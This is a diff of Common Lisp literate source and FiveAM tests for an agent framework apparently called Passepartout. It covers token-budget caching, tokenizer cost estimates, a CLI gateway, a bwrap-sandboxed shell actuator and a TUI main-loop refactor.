|
||||
|
||||
(defpackage :passepartout-token-economics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:token-economics-suite))
|
||||
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(def-suite token-economics-suite
|
||||
:description "Prompt prefix caching, incremental context, token budget")
|
||||
(in-suite token-economics-suite)
|
||||
|
||||
(test test-prompt-prefix-cached-identity
|
||||
"Contract 1: prompt-prefix-cached includes identity-content when provided."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached
|
||||
"Agent" "### Mode: concise" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "Mode: concise" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-builds
|
||||
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-hits
|
||||
"Contract 1: second call with same inputs returns cached result."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (string= p1 p2))))
|
||||
|
||||
(test test-prompt-prefix-cached-miss
|
||||
"Contract 1: different inputs rebuild the cache."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
|
||||
(is (not (string= p1 p2)))
|
||||
(is (search "Bot" p2))))
|
||||
|
||||
(test test-context-assemble-cached-skips-heartbeat
|
||||
"Contract 2: heartbeat sensors skip context assembly, return nil."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :heartbeat)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-skips-delegation
|
||||
"Contract 2: delegation sensors also skip assembly."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :delegation)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-non-skip
|
||||
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :user-input)))
|
||||
(is (stringp result))
|
||||
(is (> (length result) 0))))
|
||||
|
||||
(test test-enforce-token-budget-passthrough
|
||||
"Contract 3: under-budget prompts pass through unchanged."
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
|
||||
(is (string= "hi" p))
|
||||
(is (string= "ctxt" c))
|
||||
(is (string= "log" l))
|
||||
(is (string= "user" u))
|
||||
(is (null m))))
|
||||
|
||||
(test test-enforce-token-budget-trims
|
||||
"Contract 3: over-budget prompts get trimmed."
|
||||
(let ((big-prefix (make-string 20000 :initial-element #\x)))
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
|
||||
(declare (ignore p l u m))
|
||||
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
|
||||
(is (or (stringp c) (null c)))
|
||||
(is (search "[Context trimmed" (or c ""))))))
|
||||
|
||||
(test test-token-economics-initialize
|
||||
"Contract 4: initialize zeroes all cache state."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) 12345
|
||||
(cdr passepartout::*prompt-prefix-cache*) "stale")
|
||||
(setf (getf passepartout::*context-cache* :rendered) "stale context")
|
||||
(passepartout::token-economics-initialize)
|
||||
(is (null (car passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (getf passepartout::*context-cache* :rendered))))
|
||||
#+end_src* v0.8.0 Tests — Context Usage
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(test test-context-usage-percentage
|
||||
|
||||
@@ -1,75 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tokenizer-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:tokenizer-suite))
|
||||
|
||||
(in-package :passepartout-tokenizer-tests)
|
||||
|
||||
(def-suite tokenizer-suite :description "Token counting and cost estimation")
|
||||
(in-suite tokenizer-suite)
|
||||
|
||||
(test test-count-tokens-default
|
||||
"Contract 1: count-tokens returns non-zero for a non-empty string."
|
||||
(let ((count (count-tokens "hello world")))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-known-model
|
||||
"Contract 1: count-tokens with a known model returns a count."
|
||||
(let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-unknown-model
|
||||
"Contract 1: count-tokens with an unknown model falls back to default."
|
||||
(let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-empty
|
||||
"Contract 1: count-tokens on empty string returns 0."
|
||||
(let ((count (count-tokens "")))
|
||||
(is (= 0 count))))
|
||||
|
||||
(test test-model-token-ratio-known
|
||||
"Contract 2: known model returns correct ratio."
|
||||
(is (= 4.0 (model-token-ratio :gpt-4o-mini)))
|
||||
(is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
|
||||
(is (= 3.5 (model-token-ratio :llama-3.1-70b))))
|
||||
|
||||
(test test-model-token-ratio-unknown
|
||||
"Contract 2: unknown model returns default ratio."
|
||||
(is (= 4.0 (model-token-ratio :unknown-model-abc))))
|
||||
|
||||
(test test-token-cost-known
|
||||
"Contract 3: token-cost returns a number for known model."
|
||||
(let ((cost (token-cost :gpt-4o-mini 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-token-cost-unknown
|
||||
"Contract 3: token-cost returns 0.0 for unknown model."
|
||||
(is (= 0.0 (token-cost :no-such-model 1000))))
|
||||
|
||||
(test test-provider-token-cost
|
||||
"Contract: provider-token-cost maps provider to model price."
|
||||
(let ((cost (provider-token-cost :deepseek 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-count-tokens-ratio-sensitivity
|
||||
"Contract 1: longer text produces proportionally more tokens."
|
||||
(let ((short (count-tokens "hi" :model :gpt-4o-mini))
|
||||
(long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
|
||||
(is (> long short))))
|
||||
|
||||
(test test-count-tokens-non-string
|
||||
"Contract 1: non-string values are coerced and counted."
|
||||
(let ((count (count-tokens 12345)))
|
||||
(is (> count 0))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defparameter *model-token-ratios*
|
||||
@@ -144,3 +72,75 @@ Uses the provider's default model for pricing."
|
||||
(if model
|
||||
(token-cost model token-count)
|
||||
0.0)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tokenizer-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:tokenizer-suite))
|
||||
|
||||
(in-package :passepartout-tokenizer-tests)
|
||||
|
||||
(def-suite tokenizer-suite :description "Token counting and cost estimation")
|
||||
(in-suite tokenizer-suite)
|
||||
|
||||
(test test-count-tokens-default
|
||||
"Contract 1: count-tokens returns non-zero for a non-empty string."
|
||||
(let ((count (count-tokens "hello world")))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-known-model
|
||||
"Contract 1: count-tokens with a known model returns a count."
|
||||
(let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-unknown-model
|
||||
"Contract 1: count-tokens with an unknown model falls back to default."
|
||||
(let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-empty
|
||||
"Contract 1: count-tokens on empty string returns 0."
|
||||
(let ((count (count-tokens "")))
|
||||
(is (= 0 count))))
|
||||
|
||||
(test test-model-token-ratio-known
|
||||
"Contract 2: known model returns correct ratio."
|
||||
(is (= 4.0 (model-token-ratio :gpt-4o-mini)))
|
||||
(is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
|
||||
(is (= 3.5 (model-token-ratio :llama-3.1-70b))))
|
||||
|
||||
(test test-model-token-ratio-unknown
|
||||
"Contract 2: unknown model returns default ratio."
|
||||
(is (= 4.0 (model-token-ratio :unknown-model-abc))))
|
||||
|
||||
(test test-token-cost-known
|
||||
"Contract 3: token-cost returns a number for known model."
|
||||
(let ((cost (token-cost :gpt-4o-mini 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-token-cost-unknown
|
||||
"Contract 3: token-cost returns 0.0 for unknown model."
|
||||
(is (= 0.0 (token-cost :no-such-model 1000))))
|
||||
|
||||
(test test-provider-token-cost
|
||||
"Contract: provider-token-cost maps provider to model price."
|
||||
(let ((cost (provider-token-cost :deepseek 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-count-tokens-ratio-sensitivity
|
||||
"Contract 1: longer text produces proportionally more tokens."
|
||||
(let ((short (count-tokens "hi" :model :gpt-4o-mini))
|
||||
(long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
|
||||
(is (> long short))))
|
||||
|
||||
(test test-count-tokens-non-string
|
||||
"Contract 1: non-string values are coerced and counted."
|
||||
(let ((count (count-tokens 12345)))
|
||||
(is (> count 0))))
|
||||
|
||||
@@ -12,6 +12,31 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
|
||||
with ~:source :CLI~ and injects into the pipeline via
|
||||
~stimulus-inject~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** CLI Command Handling
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun channel-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :user-input :text text)
|
||||
:meta (list :source :CLI))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-channel-cli
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
@@ -44,30 +69,4 @@ depending on FiveAM macro resolution in the jailed package.
|
||||
(handler-case
|
||||
(progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
|
||||
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** CLI Command Handling
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun channel-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :user-input :text text)
|
||||
:meta (list :source :CLI))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-channel-cli
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
#+end_src
|
||||
|
||||
#+end_src
|
||||
@@ -26,41 +26,6 @@ Because shell execution is the highest-risk operation in the system, the Shell A
|
||||
command through the sandbox. When ~bwrap~ is unavailable, falls back to the
|
||||
existing ~timeout bash -c~ behavior.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-shell-actuator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:shell-actuator-suite))
|
||||
|
||||
(in-package :passepartout-shell-actuator-tests)
|
||||
|
||||
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
|
||||
(in-suite shell-actuator-suite)
|
||||
|
||||
(test test-bwrap-wrap-command
|
||||
"Contract 2: bwrap-wrap-command returns properly formatted command list."
|
||||
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
|
||||
(is (member "bwrap" cmdline :test #'string=))
|
||||
(is (member "--unshare-net" cmdline :test #'string=))
|
||||
(is (member "--unshare-ipc" cmdline :test #'string=))
|
||||
(is (member "echo hello" cmdline :test #'string=))))
|
||||
|
||||
(test test-bwrap-available-p-returns-boolean
|
||||
"Contract 1: bwrap-available-p returns T or NIL."
|
||||
(let ((avail (passepartout::bwrap-available-p)))
|
||||
(is (typep avail 'boolean))))
|
||||
|
||||
(test test-actuator-shell-execute-echo
|
||||
"Contract 3: actuator-shell-execute runs echo and returns output."
|
||||
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
|
||||
(result (passepartout::actuator-shell-execute action nil)))
|
||||
(is (stringp result))
|
||||
(is (search "hello" result :test #'char-equal))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Shell Execution (actuator-shell-execute)
|
||||
@@ -134,3 +99,37 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-shell-actuator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:shell-actuator-suite))
|
||||
|
||||
(in-package :passepartout-shell-actuator-tests)
|
||||
|
||||
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
|
||||
(in-suite shell-actuator-suite)
|
||||
|
||||
(test test-bwrap-wrap-command
|
||||
"Contract 2: bwrap-wrap-command returns properly formatted command list."
|
||||
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
|
||||
(is (member "bwrap" cmdline :test #'string=))
|
||||
(is (member "--unshare-net" cmdline :test #'string=))
|
||||
(is (member "--unshare-ipc" cmdline :test #'string=))
|
||||
(is (member "echo hello" cmdline :test #'string=))))
|
||||
|
||||
(test test-bwrap-available-p-returns-boolean
|
||||
"Contract 1: bwrap-available-p returns T or NIL."
|
||||
(let ((avail (passepartout::bwrap-available-p)))
|
||||
(is (typep avail 'boolean))))
|
||||
|
||||
(test test-actuator-shell-execute-echo
|
||||
"Contract 3: actuator-shell-execute runs echo and returns output."
|
||||
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
|
||||
(result (passepartout::actuator-shell-execute action nil)))
|
||||
(is (stringp result))
|
||||
(is (search "hello" result :test #'char-equal))))
|
||||
#+end_src
|
||||
@@ -432,7 +432,7 @@ if the user reopens it within the same session. State is per-session only
|
||||
;; /tags command — tag stack
|
||||
;; /tags command — tag stack
|
||||
((string-equal text "/tags")
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(let ((cats *tag-categories*))
|
||||
(if cats
|
||||
(dolist (entry cats)
|
||||
(add-msg :system (format nil "~a: ~a" (car entry) (cdr entry))))
|
||||
@@ -442,8 +442,8 @@ if the user reopens it within the same session. State is per-session only
|
||||
(let* ((msg-count (length (st :messages)))
|
||||
(focus (or (st :foveal-id) "none"))
|
||||
(id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4)))
|
||||
(tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*)
|
||||
(floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4)
|
||||
(tool-tokens (if (boundp '*cognitive-tool-registry*)
|
||||
(floor (* (hash-table-count *cognitive-tool-registry*) 40) 4)
|
||||
50))
|
||||
(log-tokens (min 4000 (floor (* msg-count 60) 4)))
|
||||
(overhead-tokens 200)
|
||||
@@ -459,14 +459,14 @@ if the user reopens it within the same session. State is per-session only
|
||||
;; /context why <id> — debug node
|
||||
((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why "))
|
||||
(let ((node-id (string-trim '(#\Space) (subseq text 13))))
|
||||
(if (fboundp 'passepartout::memory-object-get)
|
||||
(let ((obj (funcall 'passepartout::memory-object-get node-id)))
|
||||
(if (fboundp 'memory-object-get)
|
||||
(let ((obj (funcall 'memory-object-get node-id)))
|
||||
(if obj
|
||||
(add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a"
|
||||
node-id
|
||||
(passepartout::memory-object-type obj)
|
||||
(passepartout::memory-object-scope obj)
|
||||
(passepartout::memory-object-version obj)))
|
||||
(memory-object-type obj)
|
||||
(memory-object-scope obj)
|
||||
(memory-object-version obj)))
|
||||
(add-msg :system (format nil "Node ~a not found" node-id))))
|
||||
(add-msg :system "Memory not available"))))
|
||||
;; /context dropped — pruned nodes
|
||||
@@ -498,18 +498,18 @@ if the user reopens it within the same session. State is per-session only
|
||||
(let* ((n-str (string-trim '(#\Space) (subseq text 8)))
|
||||
(n (handler-case (parse-integer n-str) (error () nil))))
|
||||
(if n
|
||||
(if (fboundp 'passepartout::rollback-memory)
|
||||
(if (fboundp 'rollback-memory)
|
||||
(let* ((idx (1- n))
|
||||
(snaps passepartout::*memory-snapshots*)
|
||||
(snaps *memory-snapshots*)
|
||||
(ts (when (< idx (length snaps))
|
||||
(getf (nth idx snaps) :timestamp))))
|
||||
(funcall 'passepartout::rollback-memory idx)
|
||||
(funcall 'rollback-memory idx)
|
||||
(add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts)))
|
||||
(add-msg :system "Memory rollback not available"))
|
||||
(add-msg :system "Usage: /rewind <number>"))))
|
||||
;; /sessions command — list snapshots
|
||||
((string-equal text "/sessions")
|
||||
(let ((snaps passepartout::*memory-snapshots*))
|
||||
(let ((snaps *memory-snapshots*))
|
||||
(if snaps
|
||||
(let ((shown (subseq snaps 0 (min 10 (length snaps)))))
|
||||
(add-msg :system (format nil "~d snapshots (showing ~d):"
|
||||
@@ -528,19 +528,19 @@ if the user reopens it within the same session. State is per-session only
|
||||
(maphash (lambda (k v) (declare (ignore k))
|
||||
(when v
|
||||
(incf count)
|
||||
(when (passepartout::memory-object-hash v)
|
||||
(when (memory-object-hash v)
|
||||
(incf hashed))))
|
||||
passepartout::*memory-store*)
|
||||
*memory-store*)
|
||||
(add-msg :system (format nil "Audit: ~d objects, ~d hashed, ~d snapshots"
|
||||
count hashed
|
||||
(length passepartout::*memory-snapshots*)))))
|
||||
(length *memory-snapshots*)))))
|
||||
;; /resume <n> — resume from snapshot
|
||||
((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume "))
|
||||
(let* ((n-str (string-trim '(#\Space) (subseq text 8)))
|
||||
(n (handler-case (parse-integer n-str) (error () nil))))
|
||||
(if n
|
||||
(if (fboundp 'passepartout::rollback-memory)
|
||||
(progn (funcall 'passepartout::rollback-memory (1- n))
|
||||
(if (fboundp 'rollback-memory)
|
||||
(progn (funcall 'rollback-memory (1- n))
|
||||
(add-msg :system (format nil "Resumed from snapshot ~d" n)))
|
||||
(add-msg :system "Memory rollback not available"))
|
||||
(add-msg :system "Usage: /resume <number>"))))
|
||||
@@ -1202,23 +1202,20 @@ if the user reopens it within the same session. State is per-session only
|
||||
|
||||
** Main Loop
|
||||
#+begin_src lisp
|
||||
(defun tui-main ()
|
||||
(init-state)
|
||||
(load-history)
|
||||
(theme-load)
|
||||
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(sidebar-w (when (>= w 120)
|
||||
(make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44))))
|
||||
(content-w (if sidebar-w (- w 44) (- w 2)))
|
||||
(ch (- h 5))
|
||||
(sw (make-instance 'window :height 3 :width content-w :y 0 :x 1))
|
||||
(cw (make-instance 'window :height ch :width content-w :y 3 :x 1))
|
||||
(iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1))
|
||||
(swank-port (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
|
||||
4006)))
|
||||
(defun tui-run-screen (scr)
|
||||
"The full TUI event loop. Called from tui-main inside with-screen."
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(sidebar-w (when (>= w 120)
|
||||
(make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44))))
|
||||
(content-w (if sidebar-w (- w 44) (- w 2)))
|
||||
(ch (- h 5))
|
||||
(sw (make-instance 'window :height 3 :width content-w :y 0 :x 1))
|
||||
(cw (make-instance 'window :height ch :width content-w :y 3 :x 1))
|
||||
(iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1))
|
||||
(swank-port (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
|
||||
4006)))
|
||||
(setf (function-keys-enabled-p iw) t
|
||||
(input-blocking iw) nil
|
||||
(st :dirty) (list t t t)
|
||||
@@ -1330,7 +1327,14 @@ if the user reopens it within the same session. State is per-session only
|
||||
(close wizard-win)))
|
||||
(refresh scr)
|
||||
(sleep 0.03))
|
||||
(disconnect-daemon)))))
|
||||
(disconnect-daemon))))
|
||||
|
||||
(defun tui-main ()
|
||||
(init-state)
|
||||
(load-history)
|
||||
(theme-load)
|
||||
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
|
||||
(tui-run-screen scr)))
|
||||
|
||||
#+end_src
|
||||
|
||||
|
||||
@@ -218,7 +218,7 @@ that the TUI actuator attaches to the response plist before transmission.
|
||||
(search-highlight content (st :search-query))
|
||||
content))
|
||||
(line-text (format nil "~a [~a] ~a" prefix time content-show))
|
||||
(wrapped (passepartout::word-wrap line-text (- w 2)))
|
||||
(wrapped (word-wrap line-text (- w 2)))
|
||||
(nlines (length wrapped)))
|
||||
(if (<= nlines lines-remaining)
|
||||
(progn (decf lines-remaining nlines) (incf msg-count))
|
||||
@@ -240,7 +240,7 @@ that the TUI actuator attaches to the response plist before transmission.
|
||||
(search-highlight content (st :search-query))
|
||||
content))
|
||||
(line-text (format nil "~a [~a] ~a" prefix time content-show))
|
||||
(wrapped (passepartout::word-wrap line-text (- w 2))))
|
||||
(wrapped (word-wrap line-text (- w 2))))
|
||||
;; HITL panel: render with colored border
|
||||
(when is-panel
|
||||
(setf color (if is-resolved
|
||||
@@ -257,7 +257,7 @@ that the TUI actuator attaches to the response plist before transmission.
|
||||
;; v0.7.2: gate trace below agent messages
|
||||
(let ((gate-trace (getf msg :gate-trace)))
|
||||
(when (and gate-trace (not (member i (st :collapsed-gates))))
|
||||
(dolist (entry (passepartout::gate-trace-lines gate-trace))
|
||||
(dolist (entry (gate-trace-lines gate-trace))
|
||||
(when (< y (1- h))
|
||||
(add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim))
|
||||
(incf y))))))))))
|
||||
@@ -304,43 +304,43 @@ that the TUI actuator attaches to the response plist before transmission.
|
||||
|
||||
(test test-char-width-ascii
|
||||
"Contract 5: ASCII characters (< 128) have width 1."
|
||||
(is (= 1 (passepartout::char-width #\a)))
|
||||
(is (= 1 (passepartout::char-width #\Space)))
|
||||
(is (= 1 (passepartout::char-width #\@))))
|
||||
(is (= 1 (char-width #\a)))
|
||||
(is (= 1 (char-width #\Space)))
|
||||
(is (= 1 (char-width #\@))))
|
||||
|
||||
(test test-char-width-tab
|
||||
"Contract 5: tab character has width 8."
|
||||
(is (= 8 (passepartout::char-width #\Tab))))
|
||||
(is (= 8 (char-width #\Tab))))
|
||||
|
||||
(test test-char-width-cjk
|
||||
"Contract 5: CJK characters have width 2."
|
||||
(is (= 2 (passepartout::char-width #\日))))
|
||||
(is (= 2 (char-width #\日))))
|
||||
|
||||
(test test-char-width-null
|
||||
"Contract 5: null has width 0."
|
||||
(is (= 0 (passepartout::char-width #\Nul))))
|
||||
(is (= 0 (char-width #\Nul))))
|
||||
|
||||
(test test-markdown-bold
|
||||
"Contract 7: parse-markdown-spans detects **bold**."
|
||||
(let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
|
||||
(let ((segments (parse-markdown-spans "hello **world**!")))
|
||||
(is (= 3 (length segments)))))
|
||||
|
||||
(test test-markdown-plain
|
||||
"Contract 7: plain text returns single segment."
|
||||
(let ((segments (passepartout::parse-markdown-spans "plain")))
|
||||
(let ((segments (parse-markdown-spans "plain")))
|
||||
(is (= 1 (length segments)))
|
||||
(is (string= "plain" (caar segments)))))
|
||||
|
||||
(test test-markdown-url
|
||||
"Contract 7: parse-markdown-spans detects URLs."
|
||||
(let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
|
||||
(let ((segments (parse-markdown-spans "see https://example.com for more")))
|
||||
(is (>= (length segments) 2))
|
||||
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
|
||||
|
||||
(test test-markdown-blocks
|
||||
"Contract 8: parse-markdown-blocks detects code blocks."
|
||||
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
|
||||
(segs (passepartout::parse-markdown-blocks text)))
|
||||
(segs (parse-markdown-blocks text)))
|
||||
(is (= 3 (length segs)))
|
||||
(let ((code (second segs)))
|
||||
(is (eq t (getf code :code-block)))
|
||||
@@ -350,44 +350,44 @@ that the TUI actuator attaches to the response plist before transmission.
|
||||
(test test-markdown-blocks-no-close
|
||||
"Contract 8: unclosed code block returns content."
|
||||
(let* ((text (format nil "```~%unclosed code"))
|
||||
(segs (passepartout::parse-markdown-blocks text)))
|
||||
(segs (parse-markdown-blocks text)))
|
||||
(is (= 1 (length segs)))
|
||||
(is (eq t (getf (first segs) :code-block)))))
|
||||
|
||||
(test test-syntax-highlight
|
||||
"Contract 9: syntax-highlight colors Lisp code."
|
||||
(let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
|
||||
(let ((segs (syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
|
||||
(is (>= (length segs) 3))))
|
||||
|
||||
(test test-syntax-highlight-keyword
|
||||
"Contract 9: syntax-highlight colors keywords."
|
||||
(let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
|
||||
(let ((segs (syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
|
||||
(is (>= (length segs) 2))
|
||||
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
|
||||
|
||||
(test test-syntax-highlight-function
|
||||
"Contract 9: syntax-highlight colors function calls."
|
||||
(let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
|
||||
(let ((segs (syntax-highlight "(+ 1 2)" "lisp")))
|
||||
(is (>= (length segs) 2))
|
||||
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
|
||||
|
||||
(test test-gate-trace-lines-passed
|
||||
"Contract 9: gate-trace-lines for passed gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
(let ((lines (gate-trace-lines
|
||||
'((:gate "path" :result :passed)))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
|
||||
|
||||
(test test-gate-trace-lines-blocked
|
||||
"Contract 9: gate-trace-lines for blocked gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
(let ((lines (gate-trace-lines
|
||||
'((:gate "shell" :result :blocked :reason "rm")))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (search "rm" (caar lines)))))
|
||||
|
||||
(test test-gate-trace-lines-approval
|
||||
"Contract 9: gate-trace-lines for approval gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
(let ((lines (gate-trace-lines
|
||||
'((:gate "network" :result :approval)))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (search "HITL" (caar lines)))))
|
||||
@@ -401,7 +401,7 @@ that the TUI actuator attaches to the response plist before transmission.
|
||||
|
||||
* Implementation — v0.7.0 additions
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defun char-width (ch)
|
||||
"Returns the terminal column width of character CH.
|
||||
